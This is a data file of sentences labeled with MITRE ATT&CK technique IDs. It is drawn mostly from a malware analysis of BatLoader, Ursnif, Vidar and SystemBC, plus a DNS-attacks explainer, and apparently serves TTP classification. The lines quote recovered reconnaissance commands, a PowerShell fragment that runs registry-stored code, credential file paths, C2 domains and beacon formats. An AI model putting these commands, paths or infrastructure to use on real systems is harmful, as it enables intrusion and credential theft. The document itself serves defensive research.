{"sentence": "The decryption function is thoroughly described by 0verfl0w (Daniel Bunce) here.", "labels": ["T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Part of the key is derived from the division operations from the value retrieved from API call GetSystemTimeAsFileTime (retrieving system time).", "labels": ["T1106"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Another part of the key is embedded in our payload which is 0x81b8e7da.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Applying the key to the decryption function (Figure 22) and part of the key derived from system time (which is 19) gave us the decrypted data (Figure 23).", "labels": ["T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 21: Decompiled decryption function Figure 22: Decryption function in Python Figure 23: Decrypted strings The second decompressed data blob contains the following:", "labels": ["T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "C2: trackingg-protectioon.cdn1.mozilla[.]net, 45.8.158[.]104, trackingg-protectioon.cdn1.mozilla[.]net, 188.127.224[.]114, weiqeqwns[.]com, wdeiqeqwns[.]com, weiqeqwens[.]com, weiqewqwns[.]com, iujdhsndjfks[.]com Botnet ID: 10101 Server ID: 50 Key: T3H5l6EZGEh6GkB5 Directory: /uploaded Extension: .dib, .pct (beacon extension)", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Sleep time: 1 second ConfigTimeout (time interval to check for a new configuration): 20 seconds", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The third blob contains the wordlist values shown below: ['list', 'stop', 'computer', 'desktop', 'system', 'service', 'start', 'game', 'stop', 'operation', 'black', 'line', 'white', 'mode', 'link', 'urls', 'text', 'name', 'document', 'type', 'folder', 'mouse', 'file', 'paper', 'mark', 'check', 'mask', 'level', 'memory', 'chip', 'time', 'reply', 'date', 'mirrow', 'settings', 'collect', 'options', 'value', 'manager', 'page', 'control', 'thread', 'operator', 'byte', 'char', 'return', 'device', 'driver', 'tool', 'sheet', 'util', 'book', 'class', 'window', 'handler', 'pack', 'virtual', 'test', 'active', 'collision', 'process', 'make', 'local', 'core'] These words are used to build the registry value names.", "labels": ["T1112"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Another interesting feature of the ISFB is that it stores three embedded binaries within the unpacked payload.", "labels": ["T1027"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The binaries are compressed using APLib compression algorithm.", "labels": ["T1027"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The decompression function is shown in Figure 24. Figure 24: APLib decompression function To be able to locate the embedded compressed binaries, we need to find the structure of the ISFB payload where it stores the configuration.", "labels": ["T1027", "T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The configuration contains the payload marker or header, XOR key, CRC32 hash, the offset, and the size of each compressed binary (Figure 25).", "labels": ["T1027"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The payload marker defines the version of ISFB.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "FJ – old ISFB version J1 – old ISFB version J2 – DreamBot version J3 – ISFB v3 Japan JJ – ISFB v2.14 and above WD – RM3 Figure 25: Header section containing the configuration The compressed data is separated by the null bytes as shown in Figure 26.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "You can see something resembling C2 domains in the first blob.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 26: Snippet of the compressed data We wrote a Python script to extract the compressed data and decompress them (Figure 27).", "labels": ["T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The first compressed blob contains the RSA public key with the hash 0xe1285e64 (Figure 28).", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 27: Python script to extract and decompress data blobs Figure 28: RSA public key blob ISFB also stores the configuration within the function that parses the payload header (Figure 29).", "labels": ["T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The hash values are calculated by XORing the value 0x69b25f44 (known as g_CsCookie from the leaked code) with the values that match with CRC_CLIENT32 (again, from the leaked code).", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 29: Snippet of the configuration hashes and payload header parsing The following are the hashes of the payload as a result of XORing:", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "0x11271c7f – timer 0x48295783 – timer 0x584e5925 – botnet 0x556aed8f – server 0x4fa8693e – key 0xd0665bf6 – domains 0x54432e74– directory 0xbbb5c71d – extension The traffic beaconing contains the following pattern that will be encrypted with the AES key extracted from the compressed blob: soft=%u&version=%u&user==%08x%08x%08x%08x &server=50&id=10101&crc=61f03b3&uptime=102696&action=%08x&dns=%s&whoami=%s&os=%s soft, version – version of the payload user – the value calculated from applying the RNG (Random Number Generator) algorithm, using the username, computer name, XOR operations, and cpuid call.", "labels": ["T1033", "T1082", "T1573.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "server – server ID id – botnet ID uptime – is the value based on the API calls QueryPerformanceFrequency and QueryPerformanceCounter dns – computer name os – OS version and system type The example of the encrypted with AES-128 beacon, replacing + with _2B and / with _2F, the / are also being added: /uploaded/V1jd62QM3JcPMZGTpdjl2I/mEcoduKcJlNZo/S1Tq0KYy/M2ZEZFPG3iasm8TVeZ5oYf7/m_2FHfl318/E2HneynLJsT2KcKW6/MBeMivC1RFEh/TAL8bLaLD_2/B1Hg1OTg4XQwlG/IJbZJIe0rxQ0SYwzWgYte/TfzvWXXywf9HHwRL/2ZSv_2BcgktHGaZ/hRo7dwwYV3D39_2Bmc/JmEz3Z359/UhGcxj4s_2F80Krry3Kf/tI6i_2BxIXB2d6WASfJ/NCIpYT61pYgL53jx8SghJH/pQnAADp6racXs/VdB_2FRy/o74GaLVJG9neXweATdYNR/5.pct Some interesting strings found: /data.php?version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s \\Software\\Microsoft\\Windows\\CurrentVersion SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings %", "labels": ["T1082", "T1106", "T1573.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "APPDATA%\\Mozilla\\Firefox\\Profiles EnableSPDY3_0 \\Macromedia\\Flash Player\\ cookies.sqlite cookies.sqlite-journal Mozilla\\Firefox\\Profiles Microsoft\\Edge\\User Data\\Default Google\\Chrome\\User Data\\Default --use-spdy=off --disable-http2", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Cmd %s processed: %u Cmd %u parsing: %u cmd /C", "labels": ["T1059.003"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "\"%s> %s1\" wmic computersystem get domain |more systeminfo.exe tasklist.exe /SVC > driverquery.exe > reg.exe query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >", "labels": ["T1012", "T1047"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "cmd /U /C", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "\"type %s1 > %s & del %s1\" net view > nslookup 127.0.0.1 > nslookup myip.opendns.com resolver1.opendns.com net config workstation > nltest /domain_trusts > nltest /domain_trusts /all_trusts > net view /all", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "/domain > net view /all > user_pref(\"network.http.spdy.enabled\", false);", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Software\\Microsoft\\Windows", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Mail Software\\Microsoft\\Windows Live Mail account{*}.oeaccount Account_Name encryptedUsername SMTP_Email_Address encryptedPassword EmailAddressCollection/EmailAddress[%u]/Address Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\ Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\ Account Name IMAP Server IMAP Password IMAP Use SSL POP3 Server POP3 Password POP3 Use SSL SMTP Server SMTP Password SMTP Use SSL %PROGRAMFILES%\\Mozilla Thunderbird %", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "USERPROFILE%\\AppData\\Roaming\\Thunderbird\\Profiles\\*.default \\logins.json /C pause dll cache2\\entries\\*.*", "labels": ["T1059.003"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "cmd /c start %", "labels": ["T1059.003"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "s", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "-ep unrestricted -file %s new-alias -name %s -value gp;new-alias -name", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "%s -value iex;%s ([System.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Encoding]::ASCII.GetString((%s \"HKCU:\\%s\").%S))", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "ipconfig /all file://c:\\test\\test32.dll file://c:\\test\\tor64.dll 30, 8, *terminal* *wallet* *bank* *banco* Man-in-the-browser is another capability of Ursnif.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "You might have noticed strings such as “user_pref(\"network.http.spdy.enabled\", false);”, “EnableSPDY3_0” and “--use-spdy=off --disable-http2”.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Ursnif disables SPDY and HTTP/2 (successor of SPDY protocol) on the infected host.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The protocols allow HTTP data compression to achieve minimal latency.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "With the protocol implementation, threat actor(s) might have to spend additional time attempting to modify and intercepting the web traffic.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "We still see some remanences from the Ursnif DreamBot in ISFB v2 (file://c:\\test\\tor64.dll), which might suggest that the Tor communication capability is still possible.", "labels": ["T1090"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Vidar Stealer, SystemBC, and Syncro RMM Agent Botnet: 1259 Version: 54.7 C2:", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "t[.]me/trampapanam, nerdculture[.]de/@yoxhyp Upon successful infection, first, the host would reach out to the C2 and retrieve the DLLs (Dynamic Link Library) dependencies such as vcruntime140.dll, sqlite3.dll, softokn3.dll, nss3.dll, msvcp140.dll, mozglue.dll, freebl3.dll for the stealer to be able to extract credentials and cookies from browsers and to function properly.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "If you are interesting in understanding in more depth what each library is responsible for, you can review our blog on Mars Stealer.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The stealer then collects the credentials, host information, files, and screenshot and sends it over as a ZIP archive in a base64-encoded format as shown in Figure 30.", "labels": ["T1005", "T1113"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 30: Vidar exfiltrating stolen data We are in the processing of completing a technical analysis of Vidar Stealer, which will be our next blog.", "labels": ["T1219"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Syncro RMM is a Remote Monitoring and Management tool used to control and manage devices remotely.", "labels": ["T1219"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "In the hands of a malicious actor, this tool can be used as a persistence mechanism and remote accessing.", "labels": ["T1219"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "SystemBC RAT also known as “socks5 backconnect system” (MD5: 8ea797eb1796df20d4bdcadf0264ad6c) is a malware that leverages SOCKS5 proxies to hide malicious traffic, it also has the capability of sending additional payloads to the hosts (Figure 31).", "labels": ["T1090", "T1095", "T1105"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 31: Leaked SystemBC on a hacking forum The RAT creates the mutex “wow64” with the “start” as an argument (“start” will also be used as an argument for the scheduled task command).", "labels": ["T1053.005"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "If the mutex is not present – the RAT will reach out to the C2.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The C2 configuration is shown below: HOST1: 188.127.224.46 HOST2: hgfiudtyukjnio[.]com PORT1: 4251 TOR: 0 If the mutex is present on the host, the instruction would proceed further to check the integrity level of the current malicious process, then it compares to the value 1000 which is SECURITY_MANDATORY_LOW_RID (low integrity level, SID: S-1-16-0), this means the process is restricted and has limited write permissions.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "If the value is not equal to 1000, it proceeds with scheduled task creation, the task name is “wow64.exe”.", "labels": ["T1053.005"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The command to run the scheduled task every 2 minutes is start.", "labels": ["T1053.005"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "If the value is equal to 1000, the RAT proceeds to communicate with the C2 (Figure 32).", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 32: Function responsible for calling C2, task scheduling, and mutex creation SystemBC is capable of executing scripts and commands retrieved from C2 such as ps1, bat, vbs, and exe (Figure 33).", "labels": ["T1053.005", "T1105"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 33:", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Scripts supported by SystemBC BatLoader Analysis (Second Campaign)", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The second campaign we observed is slightly different than the first one.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The MSI installer (MD5: 099483061f8321e70ce86c9991385f48) with the signature “Tax In Cloud sp. z o.o.” does not come with an embedded PowerShell script.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Instead, the installer pushes “avolkov.exe” binary to the infected machine and creates the registry key containing the path of the dropped binary which is AppData/Local/ SetupProject1 (Figure 34).", "labels": ["T1112"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 34: Malicious MSI installer creating the registry key and dropping the binary file under AppData/Local/SetupProject1 The avolkov.exe binary (MD5: d41e0fee0ec6c2e3da56a6dcf53607da) utilizes libcurl 7.85.0 which enables the data transfer with URL syntax for protocols such as HTTP/HTTPS, FTP, DICT, SMTP, IMAP, POP3, LDAP, acting as a potential backdoor and loader.", "labels": ["T1071.001", "T1112"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The binary has the C2 embedded inside the binary from where it retrieves the newtest.bat file (Figure 35).", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The batch script is responsible for pulling additional BatLoader payloads and scripts from C2 such as: requestadmin.bat nircmd.exeuser.ps1checkav.ps1scripttodo.ps1 Figure 35: Contents of newtest.bat The requestadmin.bat (Figure 36) retrieved from the second campaign is different compared to the first campaign.", "labels": ["T1059.003", "T1105"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The threat actor(s) made sure to add more paths and folders to Windows Defender exclusion including %TEMP% and C:\\Windows\\* as well as adding .ps1", "labels": ["T1562.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "(PowerShell) extension to the exclusion list.", "labels": ["T1562.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "We observed that the script retrieves NSudo and modifies Windows UAC prompt behavior by allowing administrators to perform operations without authentication or consent prompts: Disabling Windows Defender notifications, Disabling Task Manager, Disabling command prompt, Preventing users from accessing Windows registry tools, Disabling Run command, Modifying the display timeout (monitor powers off after 30 minutes) and sleep mode (on AC/battery power – goes to sleep after 3000 minutes (50 hours)).", "labels": ["T1562.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The script also no longer pulls runanddelete.bat file from the C2.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 36: Contents of requestadmin.bat The scripttodo.ps1 file still retrieves the same files from the C2, the Cobalt Strike payload (d655) was changed to a DLL instead of EXE and shutdowni.bat is no longer pulled from the C2.", "labels": ["T1105"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "user.ps1 (Figure 37) is similar to scriptodo.ps1 in terms of enumerating the current domain of the host, username, and ARP table.", "labels": ["T1016", "T1033"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "If all conditions are satisfied and the host has SID S-1-5-32-544 present (Group Name: BUILTIN\\Administrators), the script outputs “YES”.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "If the conditions are not met and the host belongs to the workgroup, the script retrieves the Cobalt Strike payload named installv2.dll (MD5: 4a6898a4584fdfb34bbeefc77bc882c4) and runs it via rundll32.exe with an ordinal “SRANdomsrt”.", "labels": ["T1105", "T1218.011"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Interestingly enough, we have observed QakBot using the same ordinal name to run Cobalt Strike payloads.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 37: Contents of the user.ps1 Another new addition to BatLoader is the antivirus check script (checkav.ps1).", "labels": ["T1518.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The script checks the host against the list of antiviruses and sends it out to C2 server (Figure 38).", "labels": ["T1518.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 38: Contents of checkav.ps1 Later, threat actor(s) switched from externalchecksso[.]com to internalchecksso[.]com.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The scripttodo.ps1 was also changed to ru.ps1 as well as the names for malicious binaries as shown in Figure 39.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 39: Contents of ru.ps1 How eSentire is Responding Our Threat Response Unit (TRU) combines threat intelligence obtained from continuous research and security incidents to create practical outcomes for our customers.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "We are taking a full-scale response approach to ongoing cybersecurity threats by deploying countermeasures, such as: Implementing threat detections and leveraging BlueSteel, our machine-learning powered PowerShell classifier, to identify malicious command execution and ensuring that eSentire has visibility and detections are in place across eSentire MDR for Endpoint and MDR for Network.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Performing global threat hunts for indicators associated with BatLoader.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Our detection content is supported by investigation runbooks, ensuring our 24/7 SOC Cyber Analysts respond rapidly to any intrusion attempts related to known malware Tactics, Techniques, and Procedures.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "In addition, TRU closely monitors the threat landscape and constantly addresses capability gaps and conducts retroactive threat hunts to assess customer impact.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Recommendations from eSentire's Threat Response Unit (TRU) We recommend implementing the following controls to help secure your organization against BatLoader malware: Confirm that all devices are protected with Endpoint Detection and Response (EDR) solutions Encouraging good cybersecurity hygiene among your users by using Phishing and Security Awareness Training (PSAT) when downloading software from the Internet.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Encourage your employees to use password managers instead of using the password storage feature provided by web browsers.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "While the TTPs used by adversaries grow in sophistication, they lead to a certain level of difficulties at which critical business decisions must be made.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Preventing the various attack paths utilized by the modern threat actor requires actively monitoring the threat landscape, developing, and deploying endpoint detection, and the ability to investigate logs & network data during active intrusions.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "eSentire’s", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "TRU is a world-class team of threat researchers who develop new detections enriched by original threat intelligence and leverage new machine learning models that correlate multi-signal data and automate rapid response to advanced threats.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "If you are not currently engaged with an MDR provider, eSentire MDR can help you reclaim the advantage and put your business ahead of disruption.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Learn what it means to have an elite team of Threat Hunters and Researchers that works for you.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Connect with an eSentire Security Specialist.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Appendix https://www.mandiant.com/resources/blog/seo-poisoning-batloader-aterahttps://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/https://raw.githubusercontent.com/adbertram/Random-PowerShell-Work/master/Security/GnuPg.psm1https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls?redirectedfrom=MSDNhttps://www.0ffset.net/reverse-engineering/malware-analysis/analysing-isfb-loader/https://www.0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/https://www.0ffset.net/reverse-engineering/challenge-1-gozi-string-crypto/https://research.openanalysis.net/config/python/yara/isfb/rm3/gozi/2022/10/06/isfb.htmlhttps://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-mars-stealerhttps://www.secureworks.com/404?aspxerrorpath=/research/gozihttps:/www.secureworks.com/research/gozihttps://owasp.org/www-community/attacks/Man-in-the-browser_attack Indicators of Compromise Name Indicators BatLoader C2 updatea1[.]com BatLoader C2 externalchecksso[.]com BatLoader C2 internalcheckssso[.]com Ursnif C2 weiqeqwns[.]com Ursnif C2 > wdeiqeqwns[.]com Ursnif C2 weiqeqwens[.]com Ursnif C2 weiqewqwns[.]com Ursnif C2 iujdhsndjfks[.]com Ursnif C2 trackingg-protectioon.cdn1.mozilla[.]net Ursnif C2 45.8.158[.]104 Ursnif C2 188.127.224[.]114 Ursnif C2 siwdmfkshsgw[.]com Vidar Stealer t[.]me/trampapanam Ursnif C2 Ijduwhsbvk[.]com Vidar Stealer nerdculture[.]de/@yoxhyp SystemBC C2 hgfiudtyukjnio[.]com SystemBC C2(overlaps with Ursnif C2 ISP) 188.127.224[.]46 Cobalt Strike C2 139.60.161[.]74 Redline C2 176.113.115[.]10 MITRE ATT&CK MITRE ATT&CK Tactic ID MITRE ATT&CK Technique Description MITRE ATT&CK Tactic Initial Access ID T1189 MITRE ATT&CK Technique Drive-by Compromise Description BatLoader is delivered via fake software installers MITRE ATT&CK Tactic User Execution ID T1204.002 MITRE ATT&CK Technique Malicious File Description The user launches the malicious MSI file MITRE ATT&CK Tactic Persistence ID T1547.001 MITRE ATT&CK Technique Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder Description As a result of BatLoader infection, ISFB malware creates the persistence via Registry Run Keys.", "labels": ["T1547.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Syncro RMM can also be used as a persistence mechanism MITRE ATT&CK Tactic Defense Evasion ID T1562.001 MITRE ATT&CK Technique Impair Defenses:", "labels": ["T1219"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Disable or Modify Tools Description Disabling Windows Defender notifications, Task Manager and Command Prompt MITRE ATT&CK Tactic Process Injection ID T1055 Description ISFB injects itself into explorer.exe as a result of successful BatLoader infection MITRE ATT&CK Tactic Unsecured Credentials ID T1552.001 MITRE ATT&CK Technique Unsecured Credentials: Credentials In Files Description The ISFB version observed is capable of accessing browser credentials and cookies, Thunderbird and Outlook profiles, POP3, SMTP passwords.", "labels": ["T1055", "T1552.001", "T1562.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The Domain Name System (DNS) translates domain names into IP addresses.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Every device and website has an IP address that other devices, websites, and online services use to communicate with it.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "IP addresses are a string of numbers usually formatted as 000.000.000.000.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "However, we use domain names since people can’t easily remember these numbers.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "When we want to visit Google, we simply type the domain name into our browser’s address bar, and the DNS service translates the user-entered domain name “google.com” into the corresponding IP address that a computer uses.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "DNS is a fundamental component of the internet infrastructure, as any communication must start with a DNS name resolution.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "If the DNS becomes unavailable, internet programs will no longer function.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "DNS attacks refer to any attack that targets the stability and security of the DNS infrastructure.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "They commonly aim to render the DNS unavailable or intercept and alter the answers provided by the DNS, directing unsuspecting users to malicious websites.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "DNS infrastructure contains two components — authoritative and recursive DNS servers — and both are open to attack.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Below, we’ll explore the most common attacks against DNS and review mitigation strategies to avoid them.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Crash course in DNS attacksThere are several types of DNS attacks, each function differently, have unique impacts, and require specific countermeasures.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "SpoofingDNS spoofing occurs when threat actors alter the legitimate DNS server records to redirect users to fraudulent websites instead of their intended destination.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "When unsuspecting users reach the fraudulent website, the website prompts them to enter sensitive information, such as login details or credit card information.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Threat actors use this technique to steal the victim’s sensitive data or plant malware — like ransomware or keyloggers — on their victim’s device.", "labels": ["T1056.001"], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Attackers execute DNS spoofing attacks using two methods:Intercepting the communications between the target device and the DNS server and redirecting users’ requests to a malicious websiteDirectly attacking the legitimate DNS server and forcing it to return malicious IP addressesTo counter this attack, we should:Update and patch the DNS server software regularly.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Check the website for the secure connection (padlock) symbol.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This symbol appears next to the address bar of the web browser.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "If there’s no padlock, this may indicate threat actors have mirrored the website for malicious purposes.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Enable the Domain Name System Security Extensions (DNSSEC) on the domain.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "These extensions add a layer of security by attaching a digital certificate signature to DNS information.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Cache poisoningIn this attack, the threat actor injects false DNS information into the DNS cache to force it to return incorrect information and direct users to malicious websites.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "For example, when a user requests to visit google.com, the poisoned DNS server returns the IP address of another website that could contain an exploit kit or phishing page.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "DNS cache poisoning and spoofing are often used interchangeably in cybersecurity.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "However, they are different in terms of their function and order of appearance.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
